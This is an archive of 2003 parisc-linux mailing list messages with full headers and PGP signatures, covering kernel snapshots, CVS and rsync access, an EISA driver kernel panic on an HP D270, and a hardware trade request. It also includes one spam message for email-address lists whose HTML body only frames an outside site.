Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="oIUK9dbftDTPhBGO"
X-Trace: ger.gmane.org 1416622438 25483 80.91.229.3 (22 Nov 2014 02:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 08:30:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8148482B
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 08:30:17 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 704864AB9E; Thu,  8 May 2003 16:30:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030508133413.GH29534@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18422

--oIUK9dbftDTPhBGO
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Thu, 2003-05-08 14:34:13 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20030508133413.GH29534@parcelfarce.linux.theplanet.co.uk>:
> On Thu, May 08, 2003 at 07:41:18AM +0200, Jan-Benedict Glaw wrote:
> > Hi!
> >=20
> > Playing with 2.5.x, I think we'd also push out a 2.5.x snapshot. Here's
> > the patch:
>=20
> We do push out a snapshot, it's just in a different place:
>=20
> http://ftp.parisc-linux.org/2.5/kernel-src/
>=20
> I'm not sure why Paul chose to do it this way.

Argh:) Let's keep them together, please...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--oIUK9dbftDTPhBGO
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+umn3Hb1edYOZ4bsRAnAqAJ9dtMbpJR2oxWZRsb3okIm2tXkDxACeMuQy
hIK2Q3ixZnFEnvTcM9lMDBQ=
=EEzJ
-----END PGP SIGNATURE-----

--oIUK9dbftDTPhBGO--


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] "-p" level for submitting patches?
Date: Thu, 8 May 2003 07:41:31 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20030508144131.GB4509@tausq.org>
References: <20030508055545.GQ27494@lug-owl.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="O5XBE6gyVG5Rl6Rj"
X-Trace: ger.gmane.org 1416622438 25487 80.91.229.3 (22 Nov 2014 02:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 08:44:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1E664830
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 08:44:15 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C64EBCD295; Thu,  8 May 2003 07:41:31 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030508055545.GQ27494@lug-owl.de>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18423

--O5XBE6gyVG5Rl6Rj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> I've co'ed the full CVS repository (ie all modules are within one
> direcory). To ease applying patches for you, from which directory should

either is fine, as long as it's obvious which module you are diffing
=66rom :)

randolph
--=20
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--O5XBE6gyVG5Rl6Rj
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+umybULspdC1Zp9IRAgonAJ4qdn8svURSDXTMlDtB3fN4kWimhgCg4BQz
YlfPjh83Ek/GZr426xnhO3c=
=0QEo
-----END PGP SIGNATURE-----

--O5XBE6gyVG5Rl6Rj--


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?gb2312?q?=D1=EE=CF=C8=C9=FA_ <sdd@yahoo.com>,
	?=@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 30000000emailaddress and emailsender soft for you only 15$
Date: Fri, 09 May 2003 00:21:40 +0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20030508160150.C31F94829@dsl2.external.hp.com>
Reply-To: sdd@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/related; boundary="c185d15f-ae78-4f79-ade9-0ca638481e4a"
X-Trace: ger.gmane.org 1416622438 25490 80.91.229.3 (22 Nov 2014 02:13:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 10:01:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from yahoo522.com (unknown [61.235.68.66])
	by dsl2.external.hp.com (Postfix) with SMTP id C31F94829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 10:01:50 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18424

This is a multi-part message in MIME format
--c185d15f-ae78-4f79-ade9-0ca638481e4a
Content-Type: text/html; charset=gb2312
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><FRAMESET border=3D0 frameBorder=3D0 frameSpacing=3D0 =
rows=3D100%,*><FRAME marginHeight=3D5 marginWidth=3D10 name=3Deasymain src=3D=
"www.0755sz.com"></FRAMESET>  
--c185d15f-ae78-4f79-ade9-0ca638481e4a--



From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Fri, 9 May 2003 10:37:47 +0800
Lines: 40
Approved: news@gmane.org
Message-ID: <20030509103745.H20047@neep.com.au>
References: <20030507154817.GH27494@lug-owl.de> <3EB772D800000C9F@ocpmta2.freegates.net> <20030507171734.GG23465@tausq.org> <20030507175155.GJ27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622439 25492 80.91.229.3 (22 Nov 2014 02:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May  8 20:41:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (i106-182.nv.iinet.net.au [203.59.106.182])
	by dsl2.external.hp.com (Postfix) with ESMTP id 658824829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 May 2003 20:41:41 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id KAA05628
	for parisc-linux@lists.parisc-linux.org; Fri, 9 May 2003 10:37:51 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030507175155.GJ27494@lug-owl.de>; from jbglaw@lug-owl.de on Wed, May 07, 2003 at 07:51:55PM +0200
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18425

Jan-Benedict Glaw said:
> Thanks. This reminds me that I'd still *love* to see the CVS repository
> rsync'able. That'd really help me. However, it's at least nice to be
> basically able to rsync the checked-out source trees.
> 
> Any chances for a rsync for the CVS repo?
> 
> MfG, JBG

I'm not sure why you'd want to be able to rsync the entire repository,
unless you want to be able to track multiple branches of a module
without having to have a full checkout of each one?  That would make
more sense I guess, if you live in a world where the Internet is slow
and bandwidth is not free (I live there too, small world!).

There is already an rsync server running on ftp.parisc-linux.org, but I
don't believe it's widely advertised.

I just ran an 'rsync -va ftp.parisc-linux.org.au::pub' (the only rsync
'module' available) and the output was 14M!  Presumably this caused a
fair bit of thrashing at f.p-l.o's end as well ...

If you'd like to see what's available by rsync, I've compressed that
listing and uploaded it here.

ftp://ftp.neep.com.au/pub/parisc-linux/ftp.parisc-linux.org-rsync.txt.bz2

I'll have a trundle through it myself today, to see if I can write a
helpful motd for rsyncd and suggest how the ::pub module can be split up
into more useful bits.  (Bame, may I assume that you're still nominally
in charge of the rsyncd server?)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <parisc-linux@helplets.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel panic on D270/1 when loading EISA driver
Date: 09 May 2003 13:40:20 UT
Lines: 28
Approved: news@gmane.org
Message-ID: <00000B0A.3EBBCBE2@helplets.tobit.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset="iso-8859-1"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1416622439 25498 80.91.229.3 (22 Nov 2014 02:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 07:39:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from helplets.tobit.net (p508C399B.dip.t-dialin.net [80.140.57.155])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F5C44829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 May 2003 07:39:35 -0600 (MDT)
Priority: normal
X-Priority: 3 (Normal)
Importance: normal
X-Mailer: DvISE by Tobit Software, Germany (0207.4344454545464C51504C)
X-David-Sym: 0
X-David-Flags: 0
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18426

Hi All,

I'm currently trying to convert an old HP 9000/861/D270 to a firewall. So far, 
It works fine (after lowering the NCR_700_MAX_TAGS in drivers/scsi/53c700.h 
to 4, without that change the SCSI bus hung when writing large amounts of 
data).

The only real problem I have right now is that I get a kernel panic when 
loading my 3c59x driver module, because "ASSERT(dev);" fails in function 
ccio_map_single in file arch/parisc/kernel/ccio-dma.c.

I haven't found anything on the list so far, so maybe this is a new problem.
(Are EISA devices treated as PCI devices? Otherwise it might be ok for dev
to be NULL...)

Versions:
    Linux hppa 2.4.20-pa33 #2 Wed May 7 19:41:42 CEST 2003 parisc
    gcc version 3.0.4
    GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux

config, System.map and dmesg.log are available from 
http://134.155.63.117/~skettler/parisc-linux/

Thanks in advance,

Sascha Kettler



From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic on D270/1 when loading EISA driver
Date: Fri, 9 May 2003 09:48:26 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030509154826.GB23008@dsl2.external.hp.com>
References: <00000B0A.3EBBCBE2@helplets.tobit.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622439 25500 80.91.229.3 (22 Nov 2014 02:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: parisc-linux@helplets.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 09:48:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9B7954829; Fri,  9 May 2003 09:48:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <00000B0A.3EBBCBE2@helplets.tobit.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18427

On Fri, May 09, 2003 at 01:40:20PM +0000, parisc-linux@helplets.com wrote:
> (Are EISA devices treated as PCI devices? Otherwise it might be ok for dev
> to be NULL...)

Yes. But there needs to be a fake pci_dev so the ccio mapping services
can find it's IOMMU data structures. Either Ryan Bradetich or James
Bottomley might know off hand what the problem is for EISA. This
is not a new problem.

grant


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT:Anyone have an FX card they would want to trade for a PCI EG card?
Date: Fri, 9 May 2003 08:54:05 -0700 (PDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20030509155405.29014.qmail@web12502.mail.yahoo.com>
References: <Pine.LNX.4.44.0304161214080.15781-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-195362111-1052495645=:28754"
X-Trace: ger.gmane.org 1416622439 25504 80.91.229.3 (22 Nov 2014 02:13:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 09:54:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 0D2AC4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 May 2003 09:54:06 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12502.mail.yahoo.com via HTTP; Fri, 09 May 2003 08:54:05 PDT
In-Reply-To: <Pine.LNX.4.44.0304161214080.15781-100000@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18428

--0-195362111-1052495645=:28754
Content-Type: text/plain; charset=us-ascii

Sorry for the OT, but does anyone have an FX series card that they would be willing to part with in trade for a PCI EG card?  I know the FX cards don't work in Linux, but I need it for my HPUX box.  The EG card is supported under Debian.  I would prefer to have another FX4 like I have now, but any FX card would do.  Thanks. derej

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-195362111-1052495645=:28754
Content-Type: text/html; charset=us-ascii

<DIV>Sorry for the OT, but does anyone have an FX series card that they would be willing to part with in trade for a PCI EG card?&nbsp; I know the FX cards don't work in Linux, but I need it for my HPUX box.&nbsp; The EG card is supported under Debian.&nbsp; I would prefer to have another FX4 like I have now, but any FX card would do.&nbsp; Thanks.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derej</DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-195362111-1052495645=:28754--


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Sat, 10 May 2003 00:04:16 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <20030509220416.GA27494@lug-owl.de>
References: <20030507154817.GH27494@lug-owl.de> <3EB772D800000C9F@ocpmta2.freegates.net> <20030507171734.GG23465@tausq.org> <20030507175155.GJ27494@lug-owl.de> <20030509103745.H20047@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="IuxWNXB0+C4YKz9o"
X-Trace: ger.gmane.org 1416622440 25505 80.91.229.3 (22 Nov 2014 02:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 16:04:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53D7D4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 May 2003 16:04:17 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 2D4D74ABB8; Sat, 10 May 2003 00:04:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030509103745.H20047@neep.com.au>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18429

--IuxWNXB0+C4YKz9o
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, 2003-05-09 10:37:47 +0800, Andrew Shugg <andrew@neep.com.au>
wrote in message <20030509103745.H20047@neep.com.au>:
> Jan-Benedict Glaw said:
> > Thanks. This reminds me that I'd still *love* to see the CVS repository
> > rsync'able. That'd really help me. However, it's at least nice to be
> > basically able to rsync the checked-out source trees.
> >=20
> > Any chances for a rsync for the CVS repo?
> >=20
> > MfG, JBG
>=20
> I'm not sure why you'd want to be able to rsync the entire repository,
> unless you want to be able to track multiple branches of a module
> without having to have a full checkout of each one?  That would make
> more sense I guess, if you live in a world where the Internet is slow
> and bandwidth is not free (I live there too, small world!).

It's even good for looking at older revisions of files without being
online.

> There is already an rsync server running on ftp.parisc-linux.org, but I
> don't believe it's widely advertised.

I do already use it.

> I'll have a trundle through it myself today, to see if I can write a
> helpful motd for rsyncd and suggest how the ::pub module can be split up
> into more useful bits.  (Bame, may I assume that you're still nominally
> in charge of the rsyncd server?)

The "pub" module is nice as it is just right now, but I'd love to see
the CVS repository directory (/var/cvs ?) also there:)

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--IuxWNXB0+C4YKz9o
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+vCXfHb1edYOZ4bsRAlIWAKCIjpOmkNxvXKUqhNKtm3NIWHGl3wCfWcSp
78uQjBQ9Tte9neWVcAyAXKA=
=VIPN
-----END PGP SIGNATURE-----

--IuxWNXB0+C4YKz9o--


From - Thu Nov 08 21:27:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Stale CVS lock by bame?
Date: Sat, 10 May 2003 00:05:38 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20030509220538.GB27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="lKKnPHJE/sHLsAX+"
X-Trace: ger.gmane.org 1416622440 25508 80.91.229.3 (22 Nov 2014 02:14:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May  9 16:05:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 131BB4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  9 May 2003 16:05:39 -0600 (MDT)
